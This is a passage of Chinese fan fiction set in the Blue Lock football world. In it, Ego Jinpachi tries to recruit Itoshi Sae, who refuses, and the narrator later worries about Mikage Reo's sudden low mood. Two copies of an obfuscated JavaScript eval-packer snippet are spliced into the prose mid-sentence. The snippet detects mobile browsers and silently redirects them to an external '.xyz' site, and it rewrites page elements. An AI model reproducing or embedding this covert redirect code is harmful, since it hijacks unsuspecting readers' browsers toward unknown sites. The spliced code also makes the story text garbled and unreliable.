父亲也停下了啃鸡腿的动作,好奇地竖着耳朵听,虽然听不清具体内容,但显然猜到了什么。母亲则微微蹙眉,带着一丝了然和无奈。 糸师冴听着听着,眉头几不可察地蹙紧了一瞬,似乎被问到了关键问题。他沉默了两秒,然后报出了一个地址,正是我们所在的足协大楼和具体楼层会议室号。报完地址,他又极其简短地说了句“Wakarimashita(知道了)”,便直接挂断了电话。 整个过程干脆利落,没有一句多余的解释,也没有任何“我马上回去”、“别担心”之类的安抚。他就那么挂断了电话,仿佛只是完成了一个信息传递的任务。 整个会议室瞬间安静得落针可闻,连绘心甚八敲击键盘的声音都停了下来。帝襟安里嘴里含着半块豆腐,瞪大了褐红色的眼睛,难以置信地看着糸师冴。父亲更是直接张大了嘴巴,刚啃了一半的鸡翅膀差点掉出来。 我的内心几乎是咆哮的:天啊!这家伙!连招呼都不打一声,就跟着我那个“人形麻烦吸引器”父亲跑到这间莫名其妙的“蓝色监狱”指挥部来了?!现在他的经纪人找上门,他居然就这么平静地报了地址?!这是何等的……淡定?! 糸师冴却仿佛什么都没发生,他重新拿起那根被放下的薯条,慢条斯理地送入口中,继续他未完成的“能量补充评估”。那副置身事外的样子,仿佛刚才那个在电话里被经纪人疯狂追问行程的人不是他。 父亲率先回过神来,挠了挠他那头灿烂的金发,脸上露出一个混合着“闯祸了”和“有点好笑”的尴尬笑容:“呃……那个,是冴君的经纪人?吉洛兰先生?” 糸师冴嚼着薯条,幅度极小地点了下头,算是承认。 父亲还想再说什么,会议室的门已经被猛地推开! 一个身影几乎是踉跄着冲了进来,带着一股风尘仆仆的气息和……浓烈的惊慌。 来人是个瘦高的外国男人,穿着剪裁得体的深色西装,鼻梁上架着一副斯文的黑框眼镜。他看起来三十多岁,深棕色的头发梳得一丝不苟,但此刻却因为焦急显得有些凌乱。他脸色发白,额角甚至渗出了细密的汗珠,那双镜片后的眼睛飞快地扫视着会议室,像雷达一样精准地锁定了坐在那里、正慢悠悠吃着薯条的糸师冴。 “小冴!” 他脱口而出,声音带着明显的喘息和后怕,是字正腔圆、但带着点外国腔调的日语,“你怎么跑到这里来了?!吓死我了!手机定位显示在这里,我还以为是系统出错了!你怎么能……怎么能随便就跟人走了?!” 他的目光随即像探照灯一样扫过我们所有人,尤其在父亲那身印着卡通章鱼的T恤和我怀里显眼的肯○基袋子上停留了零点几秒,眼神里的警惕和难以置信几乎要溢出来。 他快步冲到糸师冴身边,上下打量着,确认自家球员完好无损后,才稍微松了口气,但语气依旧充满了不赞同和劫后余生的责备:“太危险了!万一……万一是假冒的怎么办?现在的骗子手段层出不穷!你怎么能一点警惕心都没有?下次绝对、绝对不可以这样了!有任何行程变动必须第一时间告诉我!” 这位显然就是糸师冴的经纪人——吉洛兰·达巴迪。 面对经纪人连珠炮似的、饱含担忧和责备的日语轰炸,糸师冴的反应堪称教科书级的淡定。他刚好咽下最后一口薯条,慢条斯理地摘掉手上的一次性塑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251819|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料手套,将其整齐地叠放在桌角,然后才抬起那双松石绿的眸子,看向自己惊慌失措的经纪人,极其平静地应了两声: “嗯嗯。” 依旧是那副没什么情绪波动的样子,仿佛吉洛兰说的不是“危险”和“骗子”,而是“今天天气不错”。 父亲见状,赶紧站起来打圆场,脸上堆起热情又带着点歉意的笑容:“哎呀,吉洛兰先生是吧?抱歉抱歉!是我太冒昧了!我是清田,以前在西班牙踢过几年球,跟冴小子也算有点渊源。刚才在一楼大厅碰巧遇到,聊了两句,想着正好这边有点事,就邀请他一起上来坐坐,认识几位朋友。没想到让你这么担心,真是对不住!怪我怪我,太热情了,没考虑周全!” 父亲一边说着,一边伸出手想跟吉洛兰握手。 吉洛兰·达巴迪这才将目光彻底转向父亲,镜片后的眼睛带着审视,但听到父亲自报家门,又看到旁边气质沉静雍容的母亲,他眼中的警惕和怒火才稍稍消退,换上了职业经纪人的谨慎和一丝不易察觉的恭敬。他伸出手和父亲握了握,语气缓和了不少,但依旧带着后怕: “原来是清田先生!久仰大名!您当年的比赛录像我陪小冴看过很多次,确实是传奇门将!清田夫人,您好!能见到您非常荣幸!” 他分别向我的父母点头致意,然后才苦笑着叹了口气,“清田先生,您的热情我理解,但……唉,您是前辈,可能不太了解现在的情况。小冴他现在……身份比较特殊,REAL那边盯得很紧,日本国内媒体也时刻关注着。任何一点未经报备的行程都可能引发不必要的猜测和麻烦。而且,安全始终是第一位的!下次如果再有这种情况,还请您务必先联系我确认一下,或者让小冴立刻给我打个电话,好吗?” 他的语气带着恳求,显然是真的被吓到了。 父亲连连点头:“是是是!吉洛兰先生说得对!是我考虑不周,下次一定注意!一定注意!” 吉洛兰这才彻底松了口气,掏出手帕擦了擦额角的汗。他的目光这才有空隙扫过会议室里的其他人。当看到陷在资料堆里、镜片反着光、气质阴郁又透着疯狂的绘心甚八,以及墙上挂着的那些写满“淘汰”、“进化”、“世界第一前锋”等激进字眼的“蓝色监狱”概念图时,他镜片后的眼睛猛地一缩,职业经纪人的雷达瞬间疯狂报警! “这里是……?” 吉洛兰的声音带着一丝迟疑和警觉,目光再次投向糸师冴,带着询问。 糸师冴还没开口,那个一直沉默得像块背景板的绘心甚八,却突然放下了他那杯已经见底的海鲜杯面。他推了推鼻梁上厚重的黑框眼镜,镜片后的黑瞳如同两枚精准的探针,穿透镜片和空气,牢牢锁定了糸师冴。 绘心甚八开口了,声音平板无波,却像一块巨石投入了刚刚平息的水面: “糸师冴。” 被点到名的少年抬起松石绿的眼眸,平静地看向他。 绘心甚八的嘴角似乎极其轻微地向上扯动了一下,形成一个冰冷的、带着绝对自信和疯狂吸引力的弧度。他一字一顿,清晰地、不容置疑地抛出了那颗足以引爆整个足球界的炸弹: “有没有兴趣,” “暂时放下REAL的‘中场’实验,” “来我的‘蓝色监狱’,” “重新做回——” “世界第一的锋线利刃?” 整个会议室,瞬间死寂! 父亲张大了嘴巴,手里的炸鸡块掉回了桶里。 母亲端着茶杯的手停在半空,眼中闪过一丝锐利的光芒。 帝襟安里猛地捂住了嘴,褐红色的眼睛瞪得滚圆,像是听到了什么天方夜谭。 吉洛兰·达巴迪更是像被踩了尾巴的猫,整个人都僵住了,脸上血色尽褪,惊恐万分地看着绘心甚八,仿佛在看一个试图拐走他最大摇钱树的疯子!他嘴唇哆嗦着,似乎想立刻反驳,却被这突如其来的、石破天惊的挖角给震得暂时失语。 而我,抱着那袋已经有些凉了的肯○基,看着糸师冴那张在绘心甚八抛出问题后依旧没什么表情、却微微眯起了松石绿眼眸的俊脸,再环视一圈这间被快餐盒、杯面桶、狂热球迷、足球新星、惊慌经纪人、退役巨星和懵懂少女(我)填满的诡异会议室…… 一股强烈的、无法抑制的荒谬感彻底淹没了我。 如果我真的存在于一个漫画世界……那这绝对不是什么热血运动番。 这一定是一本从头到尾都充斥着无厘头相遇、神展开剧情和全员行为艺术家气质的—— ——搞笑漫画! 20. 谈判结束 糸师冴当然不会答应。 那声短促的、带着点荒谬气息的轻笑,像是冰棱碎裂的脆响,突兀地打破了会议室里令人窒息的死寂。他松石绿的眼睛从绘心甚八那张藏在厚重镜片后、写满疯狂笃定的脸上移开,甚至没有去看旁边脸色煞白、几乎要昏厥过去的经纪人吉洛兰。 “哈。” 又是一声极轻的、没什么温度的气音。他微微向后靠进椅背,明明是坐着,却给人一种居高临下的冷冽感。“世界第一的锋线利刃?” 他重复着绘心的话,每个音节都咬得清晰又缓慢,像在掂量一块华而不实的石头,“绘心先生,你很敢想。” 他的目光平静地扫过墙上那些“淘汰”、“进化”、“最强前锋”的激进标语,最终落回绘心身上。“但我不是傻子。” 语气平淡得像在陈述一个客观事实,“哪条路风险更大,哪条路我已经用脚趟出了一点能看的成绩,我还是分得清的。” 他微微偏头,视线短暂地掠过我的父亲——那位退役的世界第一门将,此刻正一脸“有好戏看”的兴奋表情叼着根冷掉的薯条——然后重新聚焦在绘心甚八脸上。“在REAL,我坐稳了轮换,教练组信任我,俱乐部有我的长远规划。就算……” 他停顿了半秒,松石绿的眼底掠过一丝极淡的、几乎难以捕捉的暗流,“……就算位置不是最初想的那样,那也是实打实的顶级联赛,实打实的出场时间,实打实的未来。” 他抬起一只手,修长的手指在空气中虚虚一点,指向绘心,也指向整个“蓝色监狱”的概念。“而你这里?” 那根手指轻轻摇了摇,带着一种近乎怜悯的否定,“一个刚刚启动、靠烧钱和离经叛道口号支撑的……实验室?让我放弃现在的一切,回到起点,去追逐一个连雏形都算不上的‘幼稚梦想’?” 他放下手,身体前倾,双手交叉放在桌沿,那姿态带着一种不容置疑的、谈判终结者的气场。“风险太大,收益未知。前功尽弃的事情,我糸师冴不做。” 最后几个字,斩钉截铁,没有半分回旋的余地。 整个会议室再次陷入一种真空般的安静。只有空调出风口单调的送风声,以及吉洛兰·达巴迪那终于落回胸腔、带着巨大后怕的喘息声清晰可闻。这位可怜的经纪人,刚才在绘心抛出那个惊天动地的邀请时,脸色白得像刚从冷冻柜里捞出来,此刻才终于找回了点血色,感激又后怕地看向自家这位永远冷静得可怕的球员。 绘心甚八镜片后的黑瞳,在糸师冴那番冷静到冷酷的分析中,没有任何波动。他既没有失望,也没有恼怒,甚至连一丝被拒绝的尴尬都没有。他只是静静地看着糸师冴,像是在看一件精密仪器最后的运行结果报告。几秒钟后,他极其轻微地点了下头,只吐出一个字: “哦。” 然后,他就像一台完成了某个运算步骤的电脑,立刻切回了之前的模式。他重新捧起那杯早已凉透的海鲜杯面,低头啜饮了一口冷掉的汤水,另一只手则再次放到了键盘上,嗒嗒嗒的敲击声重新响起,仿佛刚才那石破天惊的挖角提议,不过是随手在屏幕上点开了一个无关紧要的广告弹窗。 这反应……比激烈的反驳更让人头皮发麻。 糸师冴显然也无意再逗留。他站起身,动作干脆利落,没有再看任何人。他拿起桌上那袋只被消灭了三分之一、此刻散发着凉腻气息的“M”记薯条,极其自然地递给旁边还处于惊魂未定状态的吉洛兰。 “处理掉。” 声音清冷,听不出情绪。 “啊?哦!好、好的!” 吉洛兰如梦初醒,手忙脚乱地接过来,像捧着个烫手山芋。他赶紧也站起来,脸上堆起职业化的、带着歉意的笑容,对着我的父母和绘心甚八连连鞠躬:“非常抱歉打扰各位了!清田先生,清田夫人,绘心先生,安里小姐,还有这位……清田小姐,我们先告辞了!小冴他下午还有视频会议要参加……” 他语速飞快,恨不得立刻拉着糸师冴逃离这个差点让他心脏停跳的魔窟。 糸师冴已经迈步走向门口,步伐沉稳,没有一丝留恋。只是在经过我身边时,他那松石绿的眸子似乎极其短暂地瞥了一眼我还捧在怀里的肯○基纸袋,眼神里……好像划过一丝难以言喻的、混合着“同病相怜”和“幸灾乐祸”的复杂光芒?快得如同错觉。 门被拉开,又被关上。走廊里急促的脚步声和吉洛兰刻意压低却依旧能听出焦虑的日语叮嘱“下次绝对、绝对不能再这样了!”迅速远去。 直到那脚步声彻底消失在电梯方向,我才猛地、长长地、仿佛要把肺里所有浊气都排出去一般,深深吸了一口气!刚才那短短的几分钟,从绘心抛出炸弹到糸师冴冷酷拒绝,再到两人干脆利落地离场,那种无形的、几乎要把人心脏捏碎的窒息感,直到此刻才稍稍缓解。 太刺激了!比看玲王和凪在场上被驮驮田那群黑熊精围堵还刺激!糸师冴那家伙,气场冷得能冻死人,拒绝起人来更是干脆得像切豆腐,连个渣都不掉。还有绘心甚八……他脑子里到底装的是什么回路?居然能对着REAL当红炸子鸡发出那种邀请?!这已经不是“勇气可嘉”能形容的了,简直是……疯狂! “噗……” 父亲第一个打破了沉默,他毫无形象地笑出声,把嘴里那根冷薯条嚼得嘎嘣响,“精彩!太精彩了!绘心,不愧是你!这挖墙脚的姿势,够野!够直接!我喜欢!哈哈哈!” 他用力拍着大腿,蓝眼睛里全是看热闹不嫌事大的光芒,“可惜啊,冴小子太精了,不上套!” 母亲无奈地看了父亲一眼,轻轻摇了摇头,随即转向绘心甚八,脸上带着温和却锐利的审视笑容:“绘心先生,确实勇气可嘉。敢对着已经扬名立万的天才提出这种颠覆性的‘回头路’,这份胆识和眼光,非常人所能及。” 帝襟安里此刻才像是真正找回了自己的呼吸,她捂着胸口,褐红色的眼睛瞪得溜圆,心有余悸地看向绘心甚八,声音还带着点颤:“绘、绘心先生!您……您下次能不能别这么……有话直说了!太吓人了!那可是糸师冴!REAL的糸师冴!您没看到吉洛兰先生的脸都白成纸了吗?!万一……万一被REAL俱乐部知道了……” 她简直不敢想那个后果。这种私下接触核心球员的行为,在职业足球圈绝对是踩红线的! 绘心甚八从屏幕上抬起眼皮,隔着镜片瞥了帝襟安里一眼,手指敲击键盘的动作丝毫未停,语气平板无波:“知道了又怎样?我只是提供一个可能性。选择权在他。风险?任何有价值的进化都伴随风险。” 他顿了顿,补充了一句,像是在陈述一个客观规律,“而且,他心动了。” “诶?!” 帝襟安里和父亲同时发出惊愕的声音。 心动了?那个从头到尾都冷得像块冰、拒绝得干脆利落的糸师冴?绘心从哪里看出来的? 绘心却没有解释的意思,再次低下头,沉浸回他的数据和模型里。仿佛刚才那句石破天惊的判断,只是随口点评了一下天气。 母亲显然更关注实际事务。她优雅地站起身,拿起那份厚厚的“蓝色监狱”企划书,对帝襟安里示意了一下:“安里小姐,我们走吧。时间不早了,该去把赞助协议的具体手续办妥了。” 她转向绘心甚八,语气带着一种尘埃落定的从容,“绘心先生,后续的资金流和资源对接,我们会通过安里小姐的团队与您这边紧密沟通。希望‘蓝色监狱’,真能如您所愿,诞生出让世界瞩目的前锋。” 绘心甚八终于停下了敲击键盘的手,他抬起头,隔着镜片看向母亲,那冷静的黑瞳深处,似乎燃起了一簇极微小的、却无比执拗的火焰。他极其郑重地点了下头:“一定。” 母亲微笑着颔首,又对父亲和我说道:“你们在这里稍等,或者去楼下咖啡厅坐坐?我和安里小姐大概需要一个小时左右。” “去吧去吧!正事要紧!”父亲挥挥手,一副“你们去忙,我继续吃”的架势。 我看着母亲和依旧有些晕晕乎乎、沉浸在“绘心说糸师冴心动了”的巨大震撼中的帝襟安里离开会议室,厚重的门再次合拢,隔绝了外面的世界。会议室里只剩下我和父亲,以及那个再次被资料淹没、敲击键盘声成为唯一背景音的蘑菇头绘心甚八。 父亲果然说到做到,继续和他的炸鸡桶奋战,偶尔还试图把一根薯条精准地抛进绘心那杯已经冷透的海鲜汤里,被绘心面无表情地用手挡住杯口弹开了。空气里弥漫着炸鸡的油腻、冷掉薯条的淀粉味、杯面的海鲜调料包气息,以及一种……劫后余生的松弛感。 我抱着那袋同样凉透、散发着混合油脂香气的肯○基,只觉得身心俱疲。刚才那场突如其来的风暴,抽干了我最后一点精力。现在尘埃落定,困意和一种被过度刺激后的虚脱感如同潮水般涌了上来。我靠在沙发背上,眼皮沉重得直打架。 父亲大概是消灭完了他的炸鸡,满足地打了个饱嗝,拿起手机开始刷体育新闻,嘴里还哼着不成调的歌。绘心甚八的键盘声成了最好的白噪音。 不知过了多久,也许只有十几分钟,也许有一个世纪那么长。母亲和帝襟安里回来了。帝襟安里手里拿着一个厚厚的文件夹,脸上带着完成重大任务后的兴奋红晕和一丝不易察觉的疲惫。母亲则依旧是那副从容不迫的样子,只是眼神中多了一份属于商人的锐利和达成目标的沉稳。 “都办妥了。”母亲言简意赅地宣布。 父亲立刻从手机屏幕上抬起头,蓝眼睛亮晶晶的:“成了?太好了!我就说嘛,有美纪出马,肯定没问题!” 他得意洋洋地看向绘心甚八,“绘心,你这‘蓝色监狱’,现在可是背靠大树好乘凉了!以后缺啥少啥,尽管开口!” 绘心甚八终于停下了敲击键盘的手。他推了推眼镜,看向母亲,极其郑重地说:“感谢清田夫人的信任和支持。这份投入,不会让您失望。” 母亲微笑着点了点头:“期待你们的成果。那么,今天就到这里吧。后续事宜,安里小姐会跟进。” 终于可以离开了!我几乎是立刻从沙发上弹了起来,感觉再在这个充斥着快餐、杯面、疯狂计划和冷气过足味道的房间里待下去,我就要窒息了。 告别了绘心甚八和依旧情绪高涨的帝襟安里,我们一家三口走出了足协大楼。午后的阳光有些刺眼,带着夏末的余威,晒在身上暖烘烘的,驱散了会议室里带出来的那股阴冷气息。我深吸了一口外面带着汽车尾气和城市喧嚣的空气,感觉整个人都活过来了。 回家的车上,父亲还在兴奋地跟母亲讨论着绘心甚八的疯狂和糸师冴的冷静,母亲则偶尔回应几句,大部分时间在闭目养神。我靠在车窗上,看着外面飞速倒退的街景,脑子里乱糟糟的,糸师冴那双松石绿的、没什么情绪的眼睛,绘心甚八镜片后冷静到疯狂的目光,还有玲王在球场上奔跑的紫色身影……各种画面交织在一起。 回到家,熟悉的玄关气息包裹上来。我踢掉鞋子,几乎是飘着回到自己房间,把那个一直拎在手里、散发着凉腻炸鸡味的肯○基纸袋随手丢在书桌角落。身体的疲惫感如同沉重的铅块,拖着我只想立刻扑倒在床上。 就在这时,我下意识地摸出被静音塞在背包侧袋里的手机。 屏幕亮起。锁屏界面上,清晰地显示着一个未接来电的提示,时间就在大概十几分钟前。 来电人:御影玲王。 我愣了一下。玲王?这个时间找我?难道是问练习赛的事?还是……他知道了今天足协这出闹剧?不可能啊。 虽然身体叫嚣着要立刻躺倒,但想到玲王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251820|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那家伙找不到人可能会直接杀上门,我还是认命地回拨了过去。 电话几乎是秒接。 “喂?爱!” 玲王那元气十足、带着点小兴奋的声音立刻从听筒里传了出来,背景音有些嘈杂,似乎还有……游戏特效的声音?“你忙完了?怎么才接电话?刚才打你电话都没人接!” “嗯,刚到家。”我把自己摔进柔软的椅子里,声音带着掩饰不住的疲惫,“在足协那边……有点事。怎么了?” “嘿嘿,没什么大事!”玲王的声音带着笑意,“我和凪在凪家里呢!这家伙刚睡醒,电量大概恢复了百分之十吧。” 背景音里立刻传来一声模糊的、拉长的、充满不情愿的抱怨:“……好麻烦……玲王吵……” “闭嘴凪!我看你打游戏的时候电量是百分之两百!”玲王毫不客气地怼了回去,然后声音重新清晰起来,带着明显的邀请,“爱,你要不要过来?我们买了新的联机游戏!还有一堆零食!凪这家伙虽然嘴上抱怨,但二缺一啊!来不来?” 想象一下那个画面:凪那间堆满游戏机和零食包装袋、光线昏暗的公寓里,玲王兴致勃勃地指挥着,凪瘫在沙发一角半死不活地抱怨……而我,一个刚刚经历了足协魔幻现实主义大戏、身心俱疲的灵魂……还要去加入他们的狩猎队伍? 光是想想,我就觉得眼前发黑。 “玲王……”我有气无力地开口,感觉声音都像是从棉花里挤出来的,“饶了我吧……今天真的……累瘫了。改天,改天一定奉陪,行吗?” 我几乎是用上了恳求的语气。 “诶?这么累?”玲王的声音透出明显的失望,但随即又转为关切,“好吧好吧……那你在家好好休息!足协那边的事很麻烦?需要帮忙吗?” 他总是这样,虽然有时候热情得让人招架不住,但那份关心是实打实的。 “不用不用,就是些……无聊的会议。” 我可不想把绘心挖角糸师冴这种核弹级八卦在电话里讲,那玲王估计能立刻打车冲过来。“你和凪好好玩吧,别太晚,明天还要训练。” “知道啦!那你好好休息!拜拜!”玲王的声音重新轻快起来。 “嗯,拜拜。” 我挂断电话,长长地、彻底地松了一口气。应付玲王的热情,有时候也需要额外的能量槽,而我现在,能量槽已经彻底见底,闪烁着刺眼的红色警报。 手机随手丢在书桌上,发出“啪嗒”一声轻响。我连衣服都懒得换,像被抽掉了所有骨头一样,直挺挺地、带着一种近乎悲壮的解脱感,把自己整个脸朝下砸进了柔软的大床里!枕头带着阳光晒过的、好闻的干燥气息,瞬间包裹了我。 让我溺死在这里吧……什么蓝色监狱,什么世界第一前锋,什么薄荷硬糖的刁钻问题,什么御影大少爷的热情邀约……通通都见鬼去! 意识几乎是瞬间就沉入了黑暗的、无梦的深潭。身体的每一个细胞都在贪婪地汲取着这难得的、纯粹的休憩。 不知过了多久,也许只有一小时,也许更短。一种生物钟般的责任感,或者是潜意识里对那厚厚一摞暑假作业的恐惧,硬生生把我从沉睡的泥沼里拽了出来。 我挣扎着,像一条搁浅的鱼,极其不情愿地从枕头里抬起沉重的脑袋。头发乱糟糟地糊在脸上,视线模糊了好一会儿才聚焦。窗外,天色已经染上了淡淡的暮色,夕阳的金辉透过窗帘缝隙在地板上投下长长的光影。 作业……还没写完…… 这个残酷的现实像一盆冰水浇在头上,瞬间驱散了残留的睡意。我认命地叹了口气,拖着依旧沉重的身体,像灌了铅一样挪到书桌前。那袋被遗弃在角落的肯○基散发着最后一丝凉腻的气息,提醒着我今天经历的种种荒诞。 拧开台灯,暖黄的光线照亮了摊开的习题册和密密麻麻的笔记。我深吸一口气,拿起笔,强迫自己将注意力集中在那些复杂的公式和冗长的历史事件上。笔尖划过纸面的沙沙声,成了房间里唯一的声响,带着一种近乎自我惩罚般的专注。 时间在笔尖下缓慢流淌。当最后一道数学题的答案被工整地誊写到答案栏时,窗外已经彻底暗了下来,城市的霓虹灯光透过窗帘,在书桌上投下变幻的光斑。我放下笔,用力揉了揉发酸的眼睛和僵硬的脖颈,一种完成任务的虚脱感伴随着些许成就感涌了上来。 终于……结束了。 就在我伸了个大大的懒腰,骨头发出轻微的噼啪声,准备去厨房觅食慰劳一下饱受摧残的大脑和胃时—— 书桌上,刚刚被我随手放在作业本旁边的手机,屏幕毫无征兆地亮了起来! 不是信息提示,不是邮件通知。 是来电! 屏幕上跳动的名字,在昏暗的光线下格外清晰: 凪诚士郎 我的动作瞬间僵住,伸懒腰的姿势定格成一个滑稽的造型。一股不祥的预感如同冰冷的藤蔓,瞬间缠住了心脏。 这个时间点……玲王不是说他们在凪家打游戏吗?玲王刚打过电话没多久,现在凪打过来?以凪诚士郎那“节能MAX”、“能发信息绝不打电话”的终极信条,主动打电话……绝对没好事! 我盯着那不断闪烁的名字,内心天人交战。接?还是不接?玲王那个热血笨蛋是不是又撺掇凪搞出了什么幺蛾子?还是凪自己遇到了什么“天塌下来”级别的麻烦?比如游戏卡关、零食吃完了、或者……柠檬茶库存告急? 手机固执地震动着,发出嗡嗡的蜂鸣,在安静的房间里显得格外刺耳。屏幕上“凪诚士郎”四个字,此刻仿佛闪烁着“麻烦”两个大字。 我认命地、带着一种近乎悲壮的觉悟,按下了接听键,把手机贴到耳边。 听筒里,先是一片死寂。 21. 预备—— 电话那头越是寂静,我越感到不安。 死寂。绝对的死寂。连一丝背景杂音都没有,仿佛电话那头连接着真空宇宙。 “喂……凪?” 我试探着开口,声音在安静的房间里显得格外突兀,带着一丝不易察觉的干涩,“听得见吗?” 几秒钟令人窒息的沉默后,听筒里终于传来凪诚士郎那标志性的、仿佛刚从冬眠中被强行唤醒的、带着浓重鼻音和电量不足气息的声音:“……嗯。” 就一个音节。但足以让我悬着的心落回一半——至少人还活着,还能出声。 “怎么了?” 我尽量让自己的语气听起来平稳,心里却飞快地闪过各种不靠谱的猜测:游戏卡在最终BOSS死活打不过?冰箱里的布丁被玲王偷吃了?还是……柠檬茶真的喝完了?“玲王呢?你们不是在一起打游戏吗?” “玲王……” 凪的声音拉长了,带着一种事不关己的困惑,“……走了。” “走了?” 我愣了一下。玲王那种兴致勃勃呼朋引伴的性格,主动提出去凪家打游戏,怎么可能中途自己先走?而且还是在这种“二缺一”的时候?“他怎么了?家里有事?” “不知道……” 凪的声音闷闷的,像隔着一层棉花,“……他出去接了个电话。回来就……嗯……” 他似乎在想一个合适的词来形容,最终选择了最直观的感受,“……不开心。然后就说要回家了。” 不开心?玲王?那个刚刚带领球队碾压了“驮驮田黑熊精”、在球场上意气风发、连带着请我吃顶级和牛时都幸福得冒泡的御影玲王?仅仅因为接了一个电话? 我蹙紧眉头:“他出去接了个电话,回来就变得不开心?然后就直接走了?没说什么原因?” “……嗯。” 凪给出了肯定的答复,依旧是那副懒洋洋、仿佛天塌下来也与他无关的调子,“……只说不玩了,要回去。样子……怪怪的。” 他补充了一句,算是难得地表达了对友情的关注。 怪怪的。这个词从凪诚士郎嘴里说出来,分量不轻。他对于“麻烦”和“异常”的感知雷达一向精准。 “我知道了。” 我深吸一口气,压下心头涌上的疑虑和一丝莫名的烦躁,“我联系他看看。你……自己待着没问题吧?” “……嗯。困了。” 凪的声音迅速滑向低电量模式,“……挂了。” 话音刚落,听筒里就传来了忙音。 干脆利落,毫不拖泥带水。典型的凪式风格。 我握着已经挂断的手机,屏幕的光在昏暗的房间里映亮一小块区域。玲王的反常举动像一颗投入心湖的石子,激起层层涟漪。那个电话是谁打来的?御影家?他父亲?还是……别的什么人?什么事能让那个永远像个小太阳一样燃烧着斗志的玲王瞬间情绪低落,甚至反常地抛下凪独自离开? 几乎没有犹豫,我立刻在通讯录里找到“御影玲王”的名字,拨了出去。 听筒里传来单调而漫长的等待音。嘟——嘟——嘟——每一声都敲在紧绷的神经上。响了七八声,直到自动转入冰冷的电子语音:“您拨打的用户暂时无法接通……” 没接。 可能是在坐车?或者在处理什么棘手的事情?我盯着屏幕,没有立刻再拨。玲王不是那种会故意不接我电话的人,尤其是在他知道我可能会担心的情况下。既然没接,也许是真的不方便。 想了想,我点开短信界面,手指在虚拟键盘上飞快地敲击: 「玲王,凪说你接了电话后好像不太对劲就回去了?没事吧?看到回我。」 发送。 信息发送成功的提示亮起。我把手机放在书桌上,屏幕朝上,确保能第一时间看到回复。房间里只剩下我自己的呼吸声和窗外隐约传来的城市夜噪。刚才被作业暂时压下的疲惫感,混合着这份突如其来的担忧,沉沉地压了下来。 时间一分一秒地过去。屏幕暗了又亮,亮了又暗。没有新信息,也没有回拨的电话。 就在我几乎要放弃等待,准备先去洗漱时,手机屏幕倏地亮起!伴随着一声短促的震动提示音。 我几乎是扑过去抓起手机。 发信人:御影玲王。 内容很短,只有两行: 「抱歉爱,刚在忙。情况有点复杂,暂时不太方便说。让你担心了。」 看着屏幕上那行字,我悬着的心并没有完全放下。“情况有点复杂”……这种含糊其辞的说法,反而更让人在意。但玲王显然不想多说。 我抿了抿唇,回复道: 「没事,你没出什么事就好。」 发送。 几乎是秒回: 「放心!我能出什么事?信誓旦旦告诉你,肯定出不了事!别瞎担心了,早点休息!明天训练场见!」 语气恢复了往日的笃定和……一丝刻意为之的轻松?那句“信誓旦旦告诉你,肯定出不了事!”像是在强调,又像是在说服他自己。最后那句“训练场见”更是带着一种急于结束话题的意味。 盯着这条回复看了几秒,我最终没有再追问。玲王有玲王的骄傲和界限。既然他不想说,强求也无益。至少他保证了没事。 「嗯,你也是。晚安。」 发送。 放下手机,我长长地呼出一口气。窗外的霓虹灯光变幻着色彩,映在书桌角落那个凉透的肯○基纸袋上,显得格外寂寥。玲王的心事像一团飘忽的迷雾,暂时无法驱散。明天训练场,再观察吧。 *** 第二天,白宝高中足球部训练场。 阳光依旧炽烈,草皮散发着被烘烤过的青草气息。队员们正在进行热身跑圈,脚步声混杂着粗重的喘息,构成运动部特有的背景音。 我抱着记录本站在场边,目光不由自主地追随着那个醒目的紫色身影。 御影玲王。 他穿着崭新的训练背心,紫色的短发在阳光下跳跃着健康的光泽。他正大声指挥着队友进行传球练习,声音洪亮,笑容灿烂,紫罗兰色的眼眸里仿佛盛满了永不枯竭的活力。跑动,接球,传球,每一个动作都充满了力量和精准的美感,带着一种掌控全场的领袖气质。昨天那个因为一个电话就闷闷不乐、提前离开的阴霾,在他身上找不到一丝痕迹。 他甚至还主动跟我打招呼,隔着半个球场就扬起手臂,笑容耀眼:“哟!爱!早上好!今天天气真适合训练啊!” 那神态,那语气,自然得仿佛昨天那条带着隐忧的短信从未存在过。 他完美地扮演着“白宝王子”和“足球部部长”的角色,无懈可击。如果不是昨晚凪的电话和他那条短信,我几乎要以为那只是一场错觉。 我对他点点头,回以一个平静的微笑:“嗯,早上好。” 没有多问一句。既然他选择戴上这副阳光灿烂的面具,那我便配合。这是属于玲王的骄傲,也是我们之间心照不宣的默契。 训练有条不紊地进行着。玲王的状态甚至比平时更加投入,更加“燃烧”。他不仅自己练得狠,对队友的要求也明显提高了一个档次,尤其是对凪诚士郎。 “凪!跑起来!别慢吞吞的!冲刺!冲刺懂不懂!” “停球!用点心!不是让你把球卸下来睡觉的!” “射门角度!太正了!给我刁钻一点!把你打游戏时那点预判用出来!” 玲王的声音带着不容置疑的严厉,在训练场上回荡。被重点关照的凪诚士郎,那张俊脸上写满了“好麻烦”、“好想躺平”、“玲王今天吃错药了”的生无可恋。他高大的身躯像一台过载后即将宕机的老旧机器,动作肉眼可见地变得更加迟缓,每一步都仿佛要用尽全身力气。 我低头在记录本上勾画着训练要点,偶尔抬眼看看场中。玲王的这种“燃烧”,带着一种近乎发泄的意味。他在用高强度的训练和指挥,驱散或者压制着昨晚那个电话带来的阴霾。而凪,则成了他这股无名火最直接的承受者。 *** 